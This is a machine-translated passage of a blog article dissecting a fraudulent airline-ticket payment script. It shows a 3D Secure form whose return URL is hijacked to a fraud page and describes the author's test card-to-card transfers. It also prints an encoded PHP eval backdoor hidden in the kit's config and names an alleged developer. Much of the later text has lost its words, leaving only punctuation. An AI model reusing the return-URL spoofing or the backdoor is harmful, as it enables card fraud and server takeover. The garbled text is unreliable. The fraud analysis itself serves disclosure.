<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

كود HTML للصفحة بعد أن يستبدل جزءًا من النص ، تحت المفسد. تم الحصول على الرمز أثناء الاختبار عن طريق كتابة المتغير $ pp إلى ملف نصي. السطر 174 من البرنامج النصي payp2p.php.

رمز صفحة HTML ثلاثي الأبعاد الآمن بعد استبدال سلسلة
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

باختصار ، في شفرة HTML لصفحة 3D Secure (في هذا المثال ، من Sberbank) السطر:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

يتغير برمجياً إلى:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

سلسلة الاستبدال هي عنوان الصفحة التي يجب أن تعيد إليها البطاقة المصرفية للمرسل ، بعد التحقق من الرمز الآمن ثلاثي الأبعاد ، المستخدم. قبل استبدال الخط النصي ، تم تحديد موقع Promsvyazbank كعنوان المرسل. بعد أن قام البرنامج النصي باستبدال السطر ، يتم بالفعل الإشارة إلى بعض الصفحات على الموقع الاحتيالي كعنوان الإرجاع.

لا أفهم تمامًا النقطة التي يتم فيها استبدال عنوان المرسل بالضبط ، ولكنه يعمل. في تلك اللحظة ، عندما يعرض المستعرض صفحة https من Sberbank مع طلب لإدخال الرمز الآمن ثلاثي الأبعاد ، إذا نظرت إلى شفرة HTML المصدر للصفحة في المتصفح ، فلن يكون هناك عنوان إرجاع لأي موقع. يبلغ طول كود HTML لهذه الصفحة أكثر من 400 سطر ويختلف تمامًا عن رمز HTML لصفحة استجابة Sberbank التي تم التقاطها بكتابة المتغيرات $ page (السطر 166) و $ pp (السطر 174) إلى القرص.

إذا قمت بإدخال رمز 3D Secure خاطئ ، فسيعرض Sberbank على صفحته رسالة تفيد بأن الرمز غير صحيح ، ويرسل رسالة SMS أخرى. بمجرد إدخال الرمز الصحيح ، يتم إعادة توجيهه إلى موقع الدفع أو إلى الموقع البديل. هذا ، على الأرجح ، يشير إعادة التوجيه إلى موقع الدفع نفسه إلى أنه من Sberbank تم إكمال جميع الإجراءات اللازمة. يعمل Sberbank هنا كمثال للاختبار. يمكن إجراء التحويل أيضًا من خلال بنك آخر.



من جانب "مشتري التذاكر" يبدو هذا. يدخل المشتري في طريقة الدفع المعدة مسبقًا رقم بطاقته. بعد ذلك ، يتم عرض صفحة تأكيد الرمز الآمن ثلاثي الأبعاد على الفور تقريبًا وتصل رسالة قصيرة برمز التأكيد. يتم عرض صفحة 3D Secure في المتصفح على موقع الويب الخاص بمصرف جهة إصدار بطاقة المشتري عبر HTTPS. قد تبدو الصفحة التي تحتوي على نموذج إدخال رقم البطاقة مشبوهة ، ولكن تأكيد 3D Secure على موقع الويب الخاص بالمصرف الذي تتعامل معه لا يسبب أي شك أو شك.

بالمناسبة ، انتبه إلى توقيع "دفع التذكرة" في السطر "الوصف" في صفحة 3D Secure من Sberbank. تم تعيين هذا التوقيع في البرنامج النصي payp2p.php. في الأمثلة المستقبلية ، سنحاول تغييره.

دعنا نعود إلى الاختبار.

لقد أدخلت الرمز من SMS على صفحة Sberbank وبعد النقر فوق الزر "إرسال" ، تلقيت تحذيرًا بأن البيانات سيتم إرسالها عبر اتصال غير آمن.



بعد التأكيد على أنني أوافق على إرسال البيانات عبر اتصال غير آمن ، تمت إعادة توجيهي إلى /sus.php؟cd = ...



هذه هي صفحة العودة. يتم تعيين عنوان الإرجاع في البرنامج النصي. في هذه الحالة ، لم يتم العثور على الصفحة. ولكن السبب واضح - لم يتم إعداد صفحة العودة مسبقًا.

على الرغم من أن الهدف قد تحقق تقريبًا ، إلا أن الأموال من بطاقة إلى أخرى لم تمر حقًا . لم تكن هناك رسائل قصيرة إضافية تحتوي على معلومات تفيد بأنه تم رفض الدفعة ، وما إلى ذلك.

قررت أن سبب الفشل في المحاولة الأولى هو أن الموقع المحلي (localhost) عمل على اتصال http غير آمن ، وموقع Sberbank على بروتوكول http آمن. Http و https ليسا ودودين للغاية مع بعضهما البعض. هذا ، بالمناسبة ، يفسر لماذا استخدمت المواقع الاحتيالية الموصوفة في الجزء الأول من المنشور اتصال https آمن ، وإن كان ذلك مع أبسط شهادة.

للتحقق من هذا الافتراض ، كان علي تكوين بروتوكول https على الموقع المحلي. للقيام بذلك ، تم إنشاء نطاق p2p.localhost محلي وشهادة موقعة ذاتيًا. ونتيجة لذلك ، بدأ العنوان الجديد مع البرنامج النصي للاختبار في الظهور على النحو التالي:

https://p2p.localhost/payp2p.php

بالإضافة إلى ذلك ، تم تغيير عنوان الصفحة التي يجب الرجوع إليها بعد إدخال رمز 3D Secure في البرنامج النصي. تم أيضًا إعداد صفحة العودة نفسها مسبقًا.

نحن نحاول مرة أخرى إجراء دفعة بالفعل مع موقع محلي يعمل عبر بروتوكول https.

عند الاتصال للمرة الأولى ، يقسم المتصفح بشكل طبيعي على الاتصال الآمن المكون بشكل غير صحيح. هذا يرجع إلى حقيقة أن لدينا شهادة موقعة ذاتيا.



نظرًا لأن مصدر الشهادة معروف ، فإننا نضيفه إلى الاستثناءات.



هذا كل شيء. الآن يتم الاتصال عبر https وعند التبديل من موقع Sberbank الإلكتروني ، تختفي التحذيرات.



بعد إدخال رمز 3D Secure ، يتم الرجوع إلى الصفحة المعدة خصيصًا بشكل صحيح.



كل شيء يعمل بشكل جيد باستثناء أن المال لا يعمل حقًا . ونتيجة لذلك ، كان علي أن أختبر وأبحث لعدة أيام ، ما يمكن أن يكون السبب.

لم يكن لدي سوى جزء من الملفات المستخدمة في أحد مواقع تذاكر الطيران الاحتيالية. من بين الملفات التي تم إرسالها إلي ، كان هناك ملف payment.php. هذا مشابه للنص المكتوب أعلاه. بالحكم على الكود ، ربما تم إنشاؤه ليس لخداع الزائرين على "موقع القتال" ، ولكن للاختبار من قبل مبرمج-مطور إمكانية التحويل من بطاقة إلى أخرى من خلال خدمة 3ds.payment.ru. من غير المحتمل ، ولكن نظريًا في الإصدارات المبكرة من المواقع الاحتيالية ، يمكن استخدامه ليس فقط للاختبار.

حاولت إجراء دفعة باستخدام البرنامج النصي payment.php البديل وتمرير الدفعة في المرة الأولى.الشيء الوحيد الذي تم عرض تأكيد الدفع الناجح على موقع 3ds.payment.ru. قررت أنه بما أن هذا البرنامج النصي يعمل ، سيكون من الممكن العثور على سبب عدم عمل البرنامج النصي الأول في الوصف (payp2p.php).



كود البرنامج النصي الكامل payment.php تحت المفسد

.

وصف الاختلافات بين نصوص pay.php و payp2p.php
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

ثم كانت هناك محاولات لإصلاح البرنامج النصي payp2p.php الذي لم يكن يعمل لسبب ما ، وإصلاحه بناءً على البرنامج النصي العامل. تمت تجربة خيارات مختلفة. تم نقل جميع أجزاء الكود التي يمكن أن تؤثر بطريقة ما على العمل بدورها من البرنامج النصي العامل إلى النص غير العامل. من بين أمور أخرى ، كانت هناك محاولة لربط وسيط إضافي إلى https://3ds.payment.ru/cgi-bin/is_3DS؛ تغيير ، تشغيل وإيقاف cURL الخيارات ، وما إلى ذلك. لا شيء ساعد ، لم تخرج الزهرة الحجرية.

في وقت لاحق ، أثناء الاختبار ، تقرر إيقاف عمليات إعادة التوجيه في المرحلة النهائية في payp2p.php. بعد ذلك ، أصبح من الممكن قراءة رسالة الخطأ من Promsvyazbank. لقطة شاشة للخطأ أدناه. في المستعرض بعد محاولة غير ناجحة لإجراء الدفع ، يتم عرض صفحة أخرى ، ولكن إذا قمت بالنقر فوق "رجوع" مرة أو أكثر ، يمكنك مشاهدة هذه الصفحة.


:

, .

: / (/)
, , /

هناك بعض القيود على عدد الدفعات من بطاقة واحدة في اليوم على موقع Promsvyazyazbank ، وما إلى ذلك. على الرغم من أنني لم أتجاوز الحدود القصوى لعدد المدفوعات الحقيقية ، فمن الممكن أن لا تتم المدفوعات في مرحلة ما ، نظرًا للعدد الكبير من محاولاتي. (لالتقاط قيم المتغيرات أثناء تصحيح الأخطاء ، بدأت عملية الدفع عدة مرات ، لكنني لم أكملها) لا أعرف السبب الدقيق لهذه الرسالة. كل محاولة لدفع ORDER_NUM و TIMESTAMP تستخدم محاولة جديدة. لا ينبغي أن يكون لها تأثير على ظهور مثل هذا الخطأ. على الرغم من أن البطاقة التي استخدمتها للدفع ، تم دفع دفعة واحدة ناجحة من خلال برنامج نصي payment.php بديل ، ربما دخلت البطاقة من المرسل أو المستلم إلى قائمة الإيقاف.

كان نص payp2p.php يشبه إلى حد ما حالته الأصلية. أنا نفسي بدأت في الخلط بين ما استبدلت به وما لا. لذلك ، أعدتها إلى شكلها الأصلي ، باستثناء أنه في السطور الأخيرة تم تعطيل إعادة توجيه إعادة التوجيه إلى صفحة الدفع الناجحة. تم استخدام أرقام بطاقة المرسل والمستقبل للمحاولات اللاحقة جديدة.

أخيرًا ، وبمساعدة payp2p.php ، اتضح إجراء عملية دفع ناجحة.



انتبه للتوقيع في سطر "الوصف".

بعد إدخال رمز تأكيد 3D Secure ، يتم الرجوع إلى صفحة Promsvyazbak:



SMS المستلم. إلى يسار بنك المرسل. على يمين بنك المستفيد.



لسبب سبيربنك ، لسبب ما ، أشار في وقت SMS بتوقيت جرينتش. في السابق ، لم ألاحظ ذلك في رسائل من هذا البنك.

مع تعطيل استبدال صفحة الإرجاع ، كرر الدفع الناجح باستخدام البرنامج النصي payp2.php الذي ظهر عدة مرات.

حاولت الدفع من بطاقات أخرى. يصدر كل بنك نموذج 3D Secure الخاص به. لكن هذا لا يغير الجوهر.





يرجى ملاحظة أنه لا تتضمن جميع البنوك "وصفًا إضافيًا" في نموذج التأكيد الخاص بها. في مثالنا ، "دفع تذكرة".

ليس من الضروري التكيف مع صفحة كل بنك. على الرغم من اختلاف الأشكال ، فإن آلية الاستبدال لها هي نفسها. يحتوي أي نموذج بعد الدفع على رابط بعنوان الصفحة التي تريد الرجوع إليها. من المرجح ألا تعاد البنوك نفسها ، التي توفر نماذج التحقق الآمن ثلاثية الأبعاد ، إلى "الموقع الأيسر". بالتأكيد ، هناك بعض القواعد والبنوك من نموذج التحقق من 3DS يجب أن تعود على الأقل إلى نفس النطاق الذي تم استلام طلب الدفع منه. (في حالتنا ، على 3ds.payment.ru). يشير البنك الذي يتحقق من رمز 3D Secure ، في حالة إدخال كلمة المرور بشكل صحيح ، في كود html للصفحة إلى العنوان الذي يجب الرجوع إليه ، ولكن لم يعد بإمكانه التحكم فيما إذا كان سيعود إلى هذه الصفحة.

نتيجة لجميع التجارب ، كان من الممكن الحصول على البرنامج النصي payp2p.php للدفع من خلال خدمة التحويل من بطاقة إلى بطاقة Promsvyazbank 3ds.payment.ru. في نفس الوقت ، اضطررت إلى تعطيل استبدال عنوان المرسل في الأسطر الأخيرة من البرنامج النصي. عند تشغيل انتحال عنوان صفحة الإرجاع ، كما كان في النص الأصلي ، لا يمر المال في الوقت الحالي. يتم عرض صفحة التحقق من 3D Secure ؛ يتم إرسال SMS مع "كلمة المرور" ؛ لا يتخطى نموذج التحقق إلى الخطوة التالية عند إدخال كلمة مرور خاطئة ؛ بعد إدخال "كلمة المرور" الصحيحة ، يعيد التوجيه إلى صفحة مزيفة ، لكن المال لا يمر.

يعد تزوير عنوان صفحة الإرجاع للدفع الناجح جزءًا مهمًا جدًا للمواقع الاحتيالية. إذا كان "مشتري التذاكر" لا يشك في أنه تم خداعه ، فعندئذ لا يمكنه الدفع مقابل واحد ، ولكن عدة مشتريات من التذاكر وبعد ذلك لفترة طويلة (أيام وأسابيع) لا يتخذ أي إجراءات نشطة لإلغاء الدفع ، إلخ. إذا تلقى المشتري بعد "دفع ثمن تذاكر الطيران" تأكيدًا للتحويل من بطاقة إلى أخرى ، فمن المرجح أنه لن يقوم بالدفع التالي ، وسوف يتصل بمصرفه ، وربما بالشرطة بشكل أسرع. وهذا يعني انخفاض التدفقات النقدية على المواقع الاحتيالية ، ويزداد احتمال إلغاء المدفوعات السابقة ، وتبدأ وكالات إنفاذ القانون والموظفون المضيفون في التصرف في وقت سابق ، ويزداد احتمال عدم وجود وقت لسحب الأموال المسروقة إلى مكان آمن.

حقيقة أن هذا النص تم استخدامه في موقع احتيالي للقتال ، ليس لدي شك. لدي سبب للاعتقاد أنها عملت بالشكل الذي قدمت لي به. يعمل حاليًا بشكل محدود (لا توجد عمليات إعادة توجيه).

بعد حوالي ثلاثة أسابيع من نشر الجزء الأول من المنشور ، والذي ذكر المحتالين الذين يستخدمون خدمة التحويل من بطاقة إلى بطاقة في برومسفاز بنك ، أجرى هذا البنك بعض التغييرات على خدمته ، والتي أعتبرها مهمة. في وقت سابق ، عند الدفع من خلال موقع Promsvyazbank ، تلقى الدائنون رسائل نصية قصيرة غير مفهومة مع النص "P2P PSBANK" ، لكنهم بدأوا الآن في تلقي رسائل نصية قصيرة تحتوي على النص "CARD2CARD PSBANK.RU". حتى مع ذلك ، للوهلة الأولى ، فإن التغيير الطفيف في فك تشفير الغرض من الدفع يكفي لبعض الضحايا المحتملين للمحتالين لإلغاء الدفع في مرحلة التأكيد. أعتقد أن هذه ليست مصادفة ، وقد تم إجراء التغييرات بدقة نتيجة لنشر المقالة على GeekTimes.

من المحتمل أنه بعد نشر الجزء الأول من المقالة ، إلى جانب تغيير نص التأكيد في الرسائل القصيرة ، يمكن إجراء تعديلات إضافية على خوارزميات خدمة التحويل من بطاقة إلى بطاقة برومسفايزبانك. لا أستطيع أن أقول 100٪ ، لكن رأيي هو أنه قبل خدمة Promsvyazbank 3ds.payment.ru ذات الاحتمالية العالية لم تتحقق من عودة المستخدمين إلى موقعهم بعد إدخال رمز 3D الآمن بنجاح على مواقع البنوك التي تصدر دافعي البطاقات. لذلك ، مرت المدفوعات حتى عندما غيرت البرامج النصية الاحتيالية صفحة الإرجاع.

البنك ، الذي ورد ذكره مرات عديدة في هذا المنشور ، كان محظوظاً بالإعلان المجاني أعتقد أنه في الواقع لا يزال هناك عدد كاف من هذه البنوك. إنه مجرد أن هذا محظوظ أكثر لأنه تم اختياره أولاً للاستخدام على المواقع الاحتيالية ، ثم للتحليل في هذه المقالة. كما يقولون ، لا يوجد مرضى أصحاء ، لا يوجد مرضى يتم فحصهم بشكل سيئ.

عند كتابة هذا المقال ، لم تكن مهمة إنشاء برنامج نصي قتالي احتيالي تستحق ذلك. كانت المهمة محاولة فهم كيفية عملها أو عملها من أجل فهم أسباب خداع "مشتري تذاكر الطيران" ، واستخلاص استنتاجات من ذلك.

تثير هذه المقالة العديد من الأسئلة ، لكنها لا تقدم جميع الإجابات. أنا متأكد من أنه من بين القراء سيكون هناك عدد كافٍ من المستخدمين المتقدمين الذين يمكنهم التعليق بدقة أكبر على الصورة السريرية وإجراء التشخيص. من جهتي ، حاولت تقديم الشهادة بشكل كامل قدر الإمكان ...

تم الانتهاء من جزء من المنشور مع تحليل نص الدفع. مكافآت إضافية لأولئك الذين تمكنوا من القراءة إلى هذا المكان.


من أين تأتي تذاكر الطيران الرخيصة على مواقع احتيالية؟

في الجزء السابق من المنشور ، من خلال الإشارات غير المباشرة ، تبين أن المعلومات المتعلقة بتوافر الأماكن والأسعار يتم الحصول عليها برمجيًا على بعض المواقع الصادقة ، ويتم تعديلها وإصدارها للمستخدم.

مثال لمعلومات عن مدى التوفر والأسعار على موقع ويب احتيالي


الآن لدينا الفرصة للنظر خلف الكواليس ومعرفة كيفية تنفيذ ذلك في كود البرنامج.

هذا هو المكان في رمز الموقع الاحتيالي حيث نرى من أين تأتي صور وأسعار الرحلات الجوية من المواقع الاحتيالية.



كما هو متوقع في هذه السلسلة من المواقع الاحتيالية ، يتم أخذ معلومات حول الأماكن المتاحة على موقع صادق www.aviacassa.ru. نظرًا لأن عدد شركات الطيران والرحلات كبير ، فمن الصعب جدًا تنزيل جميع الصور والأيقونات في مثل هذه المشكلة مقدمًا ، يتم ترك الروابط إلى هذه الصور مباشرة إلى الموقع الأصلي.

يتم خصم الخصم من السعر الأصلي المستلم لتذاكر الطيران. كما هو موضح سابقًا ، يمكن لمالك موقع احتيالي تعيين مبلغ الخصم بشكل تعسفي. يتم تخزين مبلغ الخصم في ملف aviacfg.php.

قطعة أكمل من التعليمات البرمجية المسؤولة عن الحصول على معلومات حول توفر المقاعد ، وإعداد روابط للصور وتغيير الأسعار تحت المفسد.

محلل السعر - جزء أكثر اكتمالاً من الرمز


لن نقوم بتفكيك هذه القطعة سطرًا تلو الآخر ، نظرًا لأن الرمز نفسه ليس هو المهم ، ولكن فكرة كيف وأين تأتي البيانات الحقيقية على تذاكر الطيران للمواقع الاحتيالية.

استخدم المحلل القديم موقعًا آخر للحصول على البيانات:



نصيحة لمكتب التذاكر (www.aviacassa.ru)- تحتاج إلى إغلاق إمكانية الروابط إلى ملفات المجال من مرجع خارجي (موقع الإحالة). يمكن إغلاق هذه الفرصة للجميع دون استثناء ، أو يمكنك إجراء استثناءات للشركاء الموثوق بهم فقط. خادم ويب NGINX ، الذي يستخدم aviacassa ، يجعل من السهل القيام بذلك. نفس التوصية لجميع المواقع المماثلة التي يمكن استخدامها كـ "مانحين للمعلومات".

إذا لم تتمكن المواقع الاحتيالية من الارتباط مباشرة بالصور الموجودة على مواقع مثل مكاتب التذاكر ، فسيؤدي ذلك إلى تعقيد حياتهم. عدد الشعارات والصور لشركات الطيران المختلفة غير معروف مسبقًا. حتى إذا حاولت تنزيل الصور مقدمًا ، يمكنك تخطي شيء ما ، وسيبدو الموقع الاحتيالي قبيحًا. ستضطر هذه المواقع إلى تنزيل جميع الصور محليًا إلى الخادم مع كل طلب ، أو على الأقل التحقق مما إذا كانت هذه الصورة قد تم تنزيلها مسبقًا إلى "ذاكرة التخزين المؤقت" أم لا. هذا يزيد من الحمل على خادم الاحتيال ويجعل عرض الصفحة أبطأ. بالإضافة إلى ذلك ، فإن إغلاق القدرة على الارتباط مباشرة بالصور في وقت واحد سيجعل جميع المواقع الاحتيالية الحالية التي تستخدم معلومات مكتب التذاكر غير فعالة.

بالطبع ، بمرور الوقت ، سيقوم المطورون بعمل تصحيحات. ولكن نظرًا لأن المواقع الاحتيالية لا تتم إدارتها مركزيًا ، ولا يمتلك العديد من الأشخاص تحديثات تلقائية للبرامج ، سيتعين على كل مالك لموقع احتيالي البحث عن فرصة للترقية. سيجد شخص ما الرمز المحدّث ، لكن لن يجده شخص وسيتوقف الموقع عن العمل.

أيضًا ، قد يشتمل مكتب التذاكر على سجل منفصل لمثل هذه الصور ، حيث يتم حفظ السجلات حول جميع المُحيلين الخارجيين (مواقع الإحالة). وفي غضون أيام قليلة في هذا السجل ، ستحصل على قائمة بجميع المواقع الاحتيالية النشطة. إنه مريح للغاية - بدلاً من محاولة العثور على كل موقع على حدة ، يمكنك أن تطلب منهم التسجيل بشكل مستقل في القائمة (ملف السجل).

وإذا كان هناك مشرفون مضحكون في مكتب التذاكر ، يمكنك أن تمزح ...
- NGINX , , «» , URL , . . — « » , -, , , , .

قد يقول شخص ما أن نشر مثل هذه المقالات بمثابة أداة تدريب للمحتالين وطرح سؤال ، لماذا قمت بنشره هنا؟ أجب. إذا كانت هناك طريقة ما لسرقة الأموال ، استنادًا إلى استخدام برامج ضعيفة أو غير محمية بشكل كافٍ ، والتي يعرف عنها عدد قليل من الأشخاص على الأقل وهدفهم هو كسب المال عليها ، فإن محاولة إخفاء هذه المعلومات والتظاهر بعدم وجود مشاكل تؤدي فقط إلى عواقب أسوأ. يستخدم المحتالون هذه الأساليب بشكل أكثر نشاطًا ، في حين أن البنوك سعيدة لأنها تدفع بانتظام عمولة الخدمات وتسرق الأموال منها. لماذا تحتاج البنوك إلى تغيير شيء ما ، إذا كان كل شيء على ما يرام؟ من وقت لآخر ، يتم خداع بعض مستخدمي الإنترنت فقط ويفقدون الأموال على المواقع الاحتيالية. لكن من يهتم؟

رأيي هو أنه إذا أصبحت بعض الفرص "الصعبة" لسرقة الأموال معروفة لدى عدد كبير جدًا من الأشخاص ، فإنه بمرور الوقت يصبح من الصعب على المحتالين استخدامها ، ويصبح من المستحيل على المؤسسات التي تستخدمها تجاهل المشاكل.

تم إرسال النص البرمجي paypph.php وعدد من الملفات المستخدمة في سلسلة حديثة من مواقع مبيعات شركات الطيران الاحتيالية إلي من قبل المستخدم العاصفة المجمدة . لا أعرف من أين حصل عليه - توجيه جميع الأسئلة حول هذا الموضوع إليه مباشرةً.

ولكن يمكنني القول على الفور أنه ، كما اتضح لاحقًا ، ليس من الصعب العثور على المجموعة الكاملة من رموز المصدر للمواقع الاحتيالية التي تبيع تذاكر الطيران. بحثت عن "رحلات وهمية". يوفر كلا محركي البحث الرئيسيين روابط في الصفحة الأولى. تكلف مجموعة كاملة من رموز المصدر فقط 25-30 طن روبل. بعد توقف هذا الموضوع عن العمل ، بدأت رموز المصدر غير العاملة ، والتي ، وفقًا للبائع "سهلة الإنهاء" ، تكلف 10 تريليون. مؤخرًا ، استنادًا إلى الرسائل على المنتديات ، يُزعم أن الإصدار 2.0 معروض للبيع مرة أخرى بسعر 25 تريليونًا.

فيما يلي مثال مفسد للبيع المجاني لكود المصدر لموقع ويب احتيالي لبيع تذاكر الطيران على أحد المنتديات.

لقطة شاشة للمنتدى. (صور أنيقة وطويلة جدًا)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



في المنتدى ، الذي يظهر في لقطة الشاشة ، يتم بيع وشراء رموز مواقع الويب الاحتيالية المشابهة ، ومعلومات بطاقة الائتمان ، وبيانات جواز السفر ، والمعلومات الشخصية من قواعد بيانات الدولة ، ويُقترح تقديم جوازات سفر مزورة ، ورخص القيادة ، وما إلى ذلك. هذه مجرد قائمة قصيرة على سبيل المثال. على سبيل المثال مع استثناءات نادرة ، هناك جريمة مستمرة. وفي الوقت نفسه ، تعمل إدارة المنتدى كضامن بين المشترين والبائعين. هناك العديد من المنتديات مثل هذا المنتدى. كلهم يعملون بحرية لسنوات. يتم فهرستها جميعًا تمامًا بواسطة محركات البحث (Yandex ، Google ، إلخ). أنا لا أقتبس عنوان منتدى معين. من السهل جدا العثور عليها.

نظرًا لأنه خلف كل موقع ويب احتيالي لبيع تذاكر الطيران ، هناك شخص منفصل اشترى شفرة المصدر للموقع رخيصة الثمن ، في كل حالة يمكنك العثور على الشخص المسؤول ويجب القيام بذلك. ليس كل مسؤول في هذا الموقع المزيف هو محترف محترف لا يمكن العثور على آثاره. أنا متأكد من أنه من بين هؤلاء المسؤولين هناك ما يكفي من أولئك الذين ورثوا ، وإذا كان لديهم السلطة المناسبة ، فيمكن حسابهم. ولكن ، في رأيي ، بدلاً من محاولة التعامل مع كل موقع مزيف على حدة ، يجب الانتباه إلى المواقع حيث يتم توزيع مصادر هذه المواقع المزيفة بحرية.

من أجل إلحاق ضربة ساحقة بالمواقع الاحتيالية التي تبيع تذاكر طيران مزيفة ، فأنت لست بحاجة إلى الكثير. إذا قام الجميع بالقليل ، فإن هذا سيعقد إلى حد كبير حياة المحتالين وقد يثير سؤال عدم كفاءة إجراء مثل هذه الأعمال. يستغرق القليل من الاهتمام من محركات البحث - لمنع مثل هذه المواقع من الدخول إلى الإعلانات. من غير الواقعي تقسيم هذه المواقع إلى أفضل النتائج بدون إعلانات. أيضًا ، يجب أن تستبعد محركات البحث المواقع التي تشتري بالفعل وتبيع المخططات الإجرامية. يستغرق الأمر القليل من الاهتمام من البنوك لتتبع خدمات الدفع الخاصة بها حتى لا يتمكن المحتالون من استخدامها بسهولة. بحاجة إلى القليل من الاهتمام من المضيفين. تحتاج إلى القليل من الاهتمام من أنظمة الدفع - بادئ ذي بدء ، لا تسمح بالدفع دون التحقق من 3D Secure (كما هو موضح في الجزء الأول من المنشور ،لا يزال من الممكن). تحتاج إلى بعض الاهتمام من إنفاذ القانون. بدلاً من التحقيق في كل حالة من حالات سرقة الأموال ، يكون من الأكثر فاعلية التصرف مقدمًا - التعامل مع العش حيث يتواصل المحتالون (تحليل ، على سبيل المثال ، منتديات الظل هذه). وبالطبع تحتاج إلى القليل من الاهتمام من المشترين المحتملين لتذاكر الطيران.

يقولون أن الإصلاحات لا يمكن أن تكتمل ، ويمكن إيقافها فقط. هذا المنشور هو حالة مماثلة. لذلك ، على الرغم من أنه يمكن كتابة المزيد ، سأتوقف هنا. شكرا لكم على اهتمامكم. سأكون سعيدا لتعليقاتك.

PS حول جاكي شان ... لا يمكنك القراءة
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
